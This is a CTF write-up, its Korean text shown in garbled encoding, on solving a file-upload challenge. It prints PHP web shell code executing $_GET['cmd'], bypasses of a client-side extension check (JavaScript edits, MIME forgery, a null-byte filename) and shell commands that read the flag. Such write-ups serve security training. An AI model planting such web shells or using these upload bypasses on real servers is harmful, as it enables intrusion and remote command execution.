[SegFault] (File Vuln) - Web Shell 2
[SegFault] (File Vuln)
Web Shell 2
Web μλ² λ΄μμ flag.txt νμΌμ μ°Ύμλ΄λΌ!
λ¬Έμ νμ
λ³Έ λ¬Έμ λ File Vulnerabilityμ κ΄ν λ¬Έμ λ‘μ, 'Server Side Script' File, μ¦ μΉ μ(Web Shell)μ Upload νκ³ , ν΄λΉ μΉ μμ μ λ‘λ μμΉλ₯Ό μ°Ύμ μ€ν μμΌ flag.txt νμΌμ μ°Ύλ λ¬Έμ μ΄λ€.
Vuln Point
κ²μνμ κΈμ°κΈ° κΈ°λ₯μμ νμΌ μ λ‘λ μμ javascriptμμ νμ΄νΈλ¦¬μ€νΈ λ°©μμ μ΄μ©νμ¬ νμ₯μμ μ νμ λκ³ μλ κ²μ νμΈν μ μλ€.
<script type="text/javascript">
function checkFileExtension(fileName) {
var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
if(fileName==""){return true;}
if(!allowedExtensions.exec(fileName)) {
alert('μ
λ‘λν μ μλ νμ₯μμ νμΌμ
λλ€.');
writeFrm.upload_file.value = '';
return false;
}else{
return true;
}
return true;
}
</script>
μμ κ°μ΄ νμ©λ νμ₯μ μ΄μΈμ νμ₯μλ₯Ό λ§κ³ μλ κ²μ΄λ€. νμ§λ§ javascriptλ‘μ νμ₯μ μ νμ μ°νκ° κ°λ₯νλ€.
νμ΄ κ³Όμ (ν΄κ²° λ°©μ)
νμ€ μΉ μ
κΈ°λ³Έμ μΈ ν μ€ μΉμμ λ€μκ³Ό κ°λ€.
<?php
echo system($_GET['cmd']);
?>
μμ κ°μ κ°λ¨ν μΉ μμ μ¬μ©νλ κ²μ΄ μΌλ°μ μ΄μ§λ§, λΈλΌμ°μ μμ ν μ€νΈνκΈ° νΈνλλ‘ μλμ κ°μ΄ μμ ν μΉ μ μ½λλ₯Ό μ¬μ©ν κ²μ΄λ€.
μ¬μ©ν μΉ μ μ½λ
μ¬μ©νκΈ° νΈνλλ‘ μμ ν μΉ μ μ½λμ΄λ€.
<?php
echo 'Enter a Command:<br>';
echo '<form action="" method="get">';
echo '<input type="text" name="cmd">';
echo '<input type="submit">';
echo '</form>';
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
μΉ μ μ λ‘λ
κ²μνμ μ λ‘λ κΈ°λ₯μμ νμ₯μ κ²μ¦μ΄ μ΄λ£¨μ΄μ§κ³ μμ΄μ (.php) νμΌμ μ λ‘λλ λΆκ°λ₯νλ€.
νμ§λ§ μ΄κ²μ μ°ννλ λ°©λ²μ΄ μ‘΄μ¬νλ€.
1. javascript μμ
μμ μ½λλ₯Ό 보면 νμ©λ νμ₯μ μ΄μΈμ νμ₯μμ κ²½μ° falseλ₯Ό λ°νν΄μ£Όκ³ , νμ©λ νμ₯μμ νν΄μλ§ trueλ₯Ό λ°νν΄μ£Όκ³ μλ€. μ¦, trueκ° λ°νλκΈ°λ§ νλ©΄ νμ₯μ κ²μ¦μ μ°νν μ μλ€λ κ²μ΄λ€.
1-2. λ°ν κ° μμ
if(!allowedExtensions.exec(fileName)) {
alert('μ
λ‘λν μ μλ νμ₯μμ νμΌμ
λλ€.');
writeFrm.upload_file.value = '';
return false;
}
μμ νμ©λμ§ μμ νμ₯μ λΆλΆμμ falseλ₯Ό λ°νν΄μ£Όκ³ μμ§λ§ javascript μμ μ ν΅ν΄ λ€μκ³Ό κ°μ΄ λ°κΏμ€λ€λ©΄ μ°νκ° κ°λ₯νλ€.
if(!allowedExtensions.exec(fileName)) {
//alert('μ
λ‘λν μ μλ νμ₯μμ νμΌμ
λλ€.');
//writeFrm.upload_file.value = '';
return true;
}
νμ©λμ§ μμ νμ₯μκ° λ€μ΄μλ trueλ₯Ό λ°ννλλ‘ νλ κ²μ΄λ€.
1-2. javascript νμ₯μ μΆκ°
javascriptμ νμ©λ νμ₯μ λΆλΆμ μνλ νμ₯μλ₯Ό μΆκ°νλ λ°©λ²μ΄ μλ€.
var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
μμ κ°μ΄ νμ©λ νμ₯μκ° μ νλμ΄ μλ κ²μ .phpλ₯Ό μΆκ°νλ©΄ λλ€.
2. MIME Type μμ
MIME (multipurpose internet mail extensions)
μ΄λ―Έμ§ νμΌμ λ°μ΄λ리 κ°μΌλ‘ μ΄λ£¨μ΄μ Έ μμ΄ ν μ€νΈλ‘ μΈμ½λ©νμ¬ λ³΄λ΄μΌ λ°μ΄ν°κ°μ μ£Όκ³ λ°μ μ μλ€.
κ·Έλμ 곡격μ μν νμΌ μ λ‘λλ₯Ό ν λ content-typeμ λ§κ² μμ ν΄μΌ νλ€.
php νμΌμ΄ μ λ‘λ λλ κ²½μ° Content-Typeμ text/phpλΌκ³ μ¬λΌκ°κ² λλ€. μ΄κ²μ μμ νμ¬ μ λ‘λκ° κ°λ₯ν image/png μ κ°μ΄ λ³μ‘°ν΄μ£Όλ λ°©λ²μ΄ μλ€.
3. νμ₯μ μμ΄κΈ° NULL
NULL Byte ' %00 ' λ₯Ό μ΄μ©νλ λ°©λ²μ΄λ€.
λ³Έ λ¬Έμ μ νμ₯μ κ²μ¦μ νμΌλͺ μ λ§μ§λ§ .png μ κ°μ νμ₯μλ₯Ό μΈμνκ² λμ΄ μλ€.
κ·Έλ¬λ―λ‘ NULL Byteλ₯Ό μ΄μ©νλ©΄ μ°νκ° κ°λ₯ν κ²μ΄λ€.
web_shell.php%00.png
μμ κ°μ΄ NULL Byteλ₯Ό μ΄μ©νλ©΄ νμ₯μκ° .png μ²λΌ 보μ΄μ§λ§ μ€μ λ‘λ %00κ°μ΄ NULL μ΄κΈ° λλ¬Έμ κ·Έ λ·λΆλΆμ΄ λ μκ°κ³ web_shell.phpλ§ λ¨κ² λλ κ²μ΄λ€.
λ¬Έμ ν΄κ²°μλ μ΄ λ°©μμ μ¬μ©ν κ²μ΄λ€.
μ λ‘λ νμΌ μμΉ
μμ μΉ μμ μ λ‘λ ν ν, λ€μ΄λ‘λ λ§ν¬λ₯Ό νμΈνλ©΄ κ²½λ‘λ λ€μκ³Ό κ°λ€.
http://ctf.segfaulthub.com:7979/webshell_2/web_shell.php%00.png
μ΄κ²λ§ λ³΄κ³ λ κ²½λ‘λ₯Ό μ μκ° μλλ°, λλ ν°λ¦¬ μΈλ±μ± μ·¨μ½μ μ΄ μ‘΄μ¬νλ€.
Index of /webshell_2/files/gear/
μ΄λ₯Ό μ΄μ©νμ¬ μμκ°μ κ²½λ‘μ νμΌμ΄ μ‘΄μ¬νλ κ²μ νμΈν μ μμλ€.
μΉ μ μ€ν
http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php%00.png
NULL Byteλ₯Ό μ΄μ©νμ¬ μ λ‘λμμ νμΌλͺ μ μμκΈ° λλ¬Έμ μμ κ°μ΄ μ λ ₯νλ©΄ νμΌμ΄ μλ€.
νμΌμ΄ μ λ‘λ λλ©΄μ %00λ€μ .pngκ° %00(=NULL)κ³Ό ν¨κ» λ μκ°κΈ° λλ¬Έμ νμΌλͺ μ΄ μ€μ λ‘λ web_shell.phpκ° λμκΈ° λλ¬Έμ΄λ€.
κ·Έλ κΈ° λλ¬Έμ web_shell.php%00.png κ° μλλΌ web_shell.phpμ μ λ ₯ν΄μ€μΌ νλ€.
http://ctf.segfaulthub.com:7979/webshell_2/files/gear/web_shell.php
μμ κ°μ΄ μ λ ₯νλ©΄ μ±κ³΅μ μΌλ‘ μΉ μλ‘μ μ κ·Όμ΄ κ°λ₯νλ€.
flag μ°ΎκΈ°
μμ μΉ μμ ν΅ν΄ flagλ₯Ό μ°ΎμμΌνλ€.
dir ../../
μμ κ°μ΄ μ λ ₯νμ¬ μ΄λ€ λλ ν°λ¦¬λ€μ΄ μλμ§ νμΈν΄λ³Έ κ²°κ³Ό secret_file μ΄λΌλ λλ ν λ¦¬κ° λ³΄μΈλ€.
dir ../../secret_file
μμ κ°μ΄ μ λ ₯νμ¬ ν΄λΉ λλ ν°λ¦¬ λ΄λΆλ₯Ό νμΈν΄λ³Έ κ²°κ³Ό flag.txtνμΌμ΄ μ‘΄μ¬νλ κ²μ νμΈν μ μμλ€.
λ΄μ©μ νμΈνκΈ° μν΄ cat λͺ λ Ήμ΄λ₯Ό μ΄μ©νλ€.
cat ../../secret_file/flag.txt
μμ κ°μ΄ μ λ ₯ν κ²°κ³Ό flagλ₯Ό νλν μ μμλ€.
μκ°ν΄ λ³Ό μ
find λͺ λ Ήμ΄
find λͺ λ Ήμ΄λ₯Ό μ΄μ©νμ¬ μ°Ύμ μλ μμκ² μ§λ§, ν΄λΉ λͺ λ Ήμ΄λ₯Ό μ΄μ©νλ €λ©΄ μ°ΎμΌλ €λ νμΌμ μ΄λ¦μ νμ€νκ² μκ³ μλ κ²½μ°μλ§ κ°λ₯νκΈ° λλ¬Έμ μ§μ μ°Ύμ보λ λ°©μμ μ ννμλ€.
find λͺ λ Ήμ΄λ₯Ό μ¬μ©νλ κ²½μ°λ λ€μκ³Ό κ°λ€.
find / -name flag.txt
μ λ‘λ μ°ν
νμ₯μκ° μ νλμ΄ μμ λ μ λ‘λ κ°λ₯ν λ°©μμ λνμ¬ μ¬λ¬κ°μ§λ‘ μμλ΄μΌ, λ³Έ λ¬Έμ μ κ°μ΄ μ λ‘λκ° κ°λ₯νλ€λ κ²μ μΈμ§ν΄μΌ νλ€.
μ§λ¬Έ νμ, μμ λ° λ³΄μμ λν μ§μ νμ